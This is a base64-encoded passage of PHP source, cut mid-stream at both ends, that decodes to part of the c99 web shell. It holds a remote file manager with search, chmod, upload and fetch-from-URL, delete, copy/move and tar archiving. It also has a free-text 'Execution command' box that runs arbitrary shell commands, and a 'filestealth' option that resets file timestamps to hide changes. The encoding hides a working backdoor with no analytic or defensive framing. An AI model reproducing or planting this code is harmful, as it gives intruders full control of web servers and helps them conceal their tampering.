LDQpOw0KICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQ0KICBlbHNlDQogIHsNCiAgICRsc19hcnIgPSAkZm91bmQ7DQogICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAkYWN0ID0gImxzIjsNCiAgfQ0KIH0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCIiLiRkc3BhY3QuIlwiPg0KPGI+U2VhcmNoIGZvciAoZmlsZS9mb2xkZXIgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwDQo8YnI+PGI+U2VhcmNoIGluIChleHBsb2RlIFwiO1wiKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+DQo8YnI+PGJyPjxiPlRleHQ6PC9iPjxicj48dGV4dGFyZWEgbmFtZT1cInNlYXJjaF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX3RleHQpLiI8L3RleHRhcmVhPg0KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cA0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQ0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9jcyA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gY2FzPHU+ZTwvdT4gc2Vuc2l0aXZlDQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0DQo8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOw0KIGlmICgkYWN0ID09ICJscyIpIHskZHNwYWN0ID0gJGFjdDsgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5TZWFyY2ggdG9vayAiLiRzZWFyY2h0aW1lLiIgc2VjcyAoIi4kc2VhcmNoX2lfZi4iIGZpbGVzIGFuZCAiLiRzZWFyY2hfaV9kLiIgZm9sZGVycywgIi5yb3VuZCgoJHNlYXJjaF9pX2YrJHNlYXJjaF9pX2QpLyRzZWFyY2h0aW1lLDQpLiIgb2JqZWN0cyBwZXIgc2Vjb25kKS48L2I+PGJyPjxicj4iO30NCn0NCmlmICgkYWN0ID09ICJjaG1vZCIpDQp7DQogJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30NCiBlbHNlDQogew0KICAkZm9ybSA9IHRydWU7DQogIGlmICgkY2htb2Rfc3VibWl0KQ0KICB7DQogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7DQogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyRhY3QgPSAibHMiOyAkZm9ybSA9IGZhbHNlOyAkZXJyID0gIiI7fQ0KICAgZWxzZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3RldC4iLiI7fQ0KICB9DQogIGlmICgkZm9ybSkNCiAgew0KICAgJHBlcm1zID0gcGFyc2VfcGVybXMoJG1vZGUpOw0KICAgZWNobyAiPGI+Q2hhbmdpbmcgZmlsZS1tb2RlICgiLiRkLiRmLiIpLCAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiIgKCIuc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGQuJGYpKSwtNCw0KS4iKTwvYj48YnI+Ii4oJGVycj8iPGI+RXJyb3I6PC9iPiAiLiRlcnI6IiIpLiI8Zm9ybSBhY3Rpb249XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHN1cmwpLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInVwbG9hZCIpDQp7DQogJHVwbG9hZG1lc3MgPSAiIjsNCiAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkgeyR1cGxvYWRwYXRoID0gJGQ7fQ0KIGVsc2VpZiAoc3Vic3RyKCR1cGxvYWRwYXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsNCiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKQ0KICB7DQogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30NCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgew0KICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICBlbHNlDQogICB7DQogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICB7DQogICAgICRpID0gMDsNCiAgICAgJGIgPSAiIjsNCiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319DQogICB9DQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQ0KICAgZWxzZQ0KICAgew0KICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0KICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICBpZiAoISRmcCkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB3cml0aW5nIHRvIGZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRkZXN0aW4pLiIhPGJyPiI7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICBmY2xvc2UoJGZwKTsNCiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogaWYgKCRtaW5pZm9ybSkNCiB7DQogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOw0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+RmlsZSB1cGxvYWQ6PC9iPjxicj48Yj4iLiR1cGxvYWRtZXNzLiI8L2I+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9XCJQT1NUXCI+DQpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4NCklucHV0IFVSTDogPGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48YnI+PGJyPg0KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPg0KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+DQo8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiZuYnNwO2NvbnZlcnQgZmlsZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+DQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4NCjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJkZWxldGUiKQ0Kew0KICRkZWxlcnIgPSAiIjsNCiBmb3JlYWNoICgkYWN0Ym94IGFzICR2KQ0KIHsNCiAgJHJlc3VsdCA9IGZhbHNlOw0KICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOw0KICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJDYW4ndCBkZWxldGUgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fQ0KIH0NCiBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQ0KICRhY3QgPSAibHMiOw0KfQ0KaWYgKCEkdXNlZnNidWZmKQ0Kew0KIGlmICgoJGFjdCA9PSAicGFzdGUiKSBvciAoJGFjdCA9PSAiY29weSIpIG9yICgkYWN0ID09ICJjdXQiKSBvciAoJGFjdCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlRlNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30NCn0NCmVsc2UNCnsNCiBpZiAoJGFjdCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjsgfQ0KIGVsc2VpZiAoJGFjdCA9PSAiY3V0IikgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sJGFjdGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQ0KIGVsc2VpZiAoJGFjdCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9DQogZWxzZWlmICgkYWN0cGFzdGVidWZmKQ0KIHsNCiAgJHBzdGVyciA9ICIiOw0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpDQogIHsNCiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICB9DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RhcmNidWZmKQ0KIHsNCiAgJGFyY2VyciA9ICIiOw0KICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQ0KICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsNCiAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOw0KICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQ0KICB7DQogICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICBpZiAoaXNfZGlyKCR2KSkNCiAgIHsNCiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgJHYgLj0gIioiOw0KICAgfQ0KICAgJGNtZGxpbmUgLj0gIiAiLiR2Ow0KICB9DQogICR0bXAgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkZCk7DQogICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogIGNoZGlyKCR0bXApOw0KICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30NCiAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICB9DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgfQ0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImNtZCIpDQp7DQppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZWlmICh0cmltKCRjbWQpID09ICJ0YXNrbGlzdCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZQ0Kew0KIEBjaGRpcigkY2hkaXIpOw0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgY29tbWFuZDwvYj46PGJyPiI7DQogICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICBAY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgaWYgKCRjbWRfdHh0KQ0KICB7DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgfQ0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgQGNoZGlyKCRvbGRkaXIpOw0KIH0NCiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOyBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSB0cnVlO319DQogZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iYWN0PWNtZFwiIG1ldGhvZD1cIlBPU1RcIj48dGV4dGFyZWEgbmFtZT1cImNtZFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkY21kX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCn0NCmlmICgkYWN0ID09ICJscyIpDQp7DQogaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9DQogZWxzZQ0KIHsNCiAgJGxpc3QgPSBhcnJheSgpOw0KICBpZiAoJGggPSBAb3BlbmRpcigkZCkpDQogIHsNCiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSB7JGxpc3RbXSA9ICRkLiRvO30NCiAgIGNsb3NlZGlyKCRoKTsNCiAgfQ0KICBlbHNlIHt9DQogfQ0KIGlmIChjb3VudCgkbGlzdCkgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3Qgb3BlbiBmb2xkZXIgKCIuaHRtbHNwZWNpYWxjaGFycygkZCkuIikhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2UNCiB7DQogIC8vQnVpbGRpbmcgYXJyYXkNCiAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAkdmQgPSAiZiI7IC8vVmlld2luZyBtb2RlDQogIGlmICgkdmQgPT0gImYiKQ0KICB7DQogICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOw0KICAgZm9yZWFjaCAoJGxpc3QgYXMgJHYpDQogICB7DQogICAgJG8gPSBiYXNlbmFtZSgk